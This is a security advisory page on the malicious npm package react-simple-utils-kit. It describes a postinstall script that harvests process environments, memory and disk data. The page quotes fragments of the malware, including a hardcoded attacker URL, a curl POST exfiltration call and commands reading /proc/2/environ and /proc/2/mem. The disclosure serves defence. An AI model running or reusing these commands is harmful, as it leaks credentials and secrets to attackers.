Malicious code in react-simple-utils-kit (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58) Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure. ## Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The react-simple-utils-kit npm package includes a postinstall.js script that runs on every npm install. This script collects detailed system information including process capabilities, ptrace scope, environment variables of other processes (which may contain CI tokens and cloud credentials), process command lines, running processes, listening ports, and raw disk data. It sends this information via HTTP POST to a hardcoded attacker domain (http://2e3bkumw.requestrepo.com). The package masquerades as a harmless React date utility but is in fact a credential-harvesting malware. Hosts installing this package are immediately and fully compromised.
Potential Impact
Hosts that run npm install on react-simple-utils-kit leak sensitive system and credential information to an attacker-controlled server. This includes environment variables of other processes, potentially exposing CI tokens and cloud credentials, as well as kernel and container introspection data and raw disk contents. The compromise is severe and immediate, with the attacker gaining extensive knowledge and potential control over the affected system. The system should be considered fully compromised after installation.
Mitigation Recommendations
There is no indication of an official patch or fix for this malicious package. The package should be immediately removed from any systems where it was installed. All secrets and credentials stored on affected systems must be rotated from a different, uncompromised machine. Given the severity of the compromise, affected hosts should be considered fully compromised and may require full system rebuilds or forensic analysis. Avoid installing this package and audit your dependency trees to ensure it is not included.
Malicious code in react-simple-utils-kit (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58) Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure. ## Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The react-simple-utils-kit npm package includes a postinstall.js script that runs on every npm install. This script collects detailed system information including process capabilities, ptrace scope, environment variables of other processes (which may contain CI tokens and cloud credentials), process command lines, running processes, listening ports, and raw disk data. It sends this information via HTTP POST to a hardcoded attacker domain (http://2e3bkumw.requestrepo.com). The package masquerades as a harmless React date utility but is in fact a credential-harvesting malware. Hosts installing this package are immediately and fully compromised.
Potential Impact
Hosts that run npm install on react-simple-utils-kit leak sensitive system and credential information to an attacker-controlled server. This includes environment variables of other processes, potentially exposing CI tokens and cloud credentials, as well as kernel and container introspection data and raw disk contents. The compromise is severe and immediate, with the attacker gaining extensive knowledge and potential control over the affected system. The system should be considered fully compromised after installation.
Mitigation Recommendations
There is no indication of an official patch or fix for this malicious package. The package should be immediately removed from any systems where it was installed. All secrets and credentials stored on affected systems must be rotated from a different, uncompromised machine. Given the severity of the compromise, affected hosts should be considered fully compromised and may require full system rebuilds or forensic analysis. Avoid installing this package and audit your dependency trees to ensure it is not included.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6303
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-9p56-xfq3-77x5"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a50ba4968715ace4357e992
Added to database: 07/10/2026, 09:24:25 UTC
Last enriched: 07/10/2026, 09:38:17 UTC
Last updated: 07/29/2026, 05:19:59 UTC
Views: 8
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.